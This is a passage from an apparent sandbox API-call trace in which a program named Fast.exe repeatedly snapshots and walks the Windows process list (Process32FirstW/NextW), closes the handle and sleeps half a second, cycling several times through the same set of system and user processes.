(in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0250.031] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.032] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.033] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.034] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.035] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.036] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.036] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.037] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.038] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.039] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.040] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0250.041] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0250.042] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.043] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.043] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0250.044] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0250.046] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0250.046] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0250.047] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0250.048] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0250.049] CloseHandle (hObject=0x1f0) returned 1 [0250.049] Sleep (dwMilliseconds=0x1f4) [0250.779] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0250.783] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.784] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.785] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.786] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.786] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.787] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.788] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.789] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.790] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.791] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0250.792] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.793] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.794] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.795] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.796] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.797] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.798] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.798] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.799] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.800] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.801] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0250.802] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0250.803] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.803] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.804] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0250.805] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0250.806] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0250.807] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0250.808] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0250.808] Process32NextW (in: hSnapshot=0x1fc, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0250.809] CloseHandle (hObject=0x1fc) returned 1 [0250.810] Sleep (dwMilliseconds=0x1f4) [0252.048] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0252.051] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.052] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.053] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.054] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.055] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.056] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.056] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.058] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.059] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.060] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0252.061] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.062] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.063] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.064] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.065] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.066] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.067] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.067] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.068] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.069] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.070] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0252.071] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0252.072] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.072] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.074] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0252.075] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0252.075] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0252.076] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0252.077] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0252.078] CloseHandle (hObject=0x1e0) returned 1 [0252.078] Sleep (dwMilliseconds=0x1f4) [0253.330] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0253.334] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.335] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, 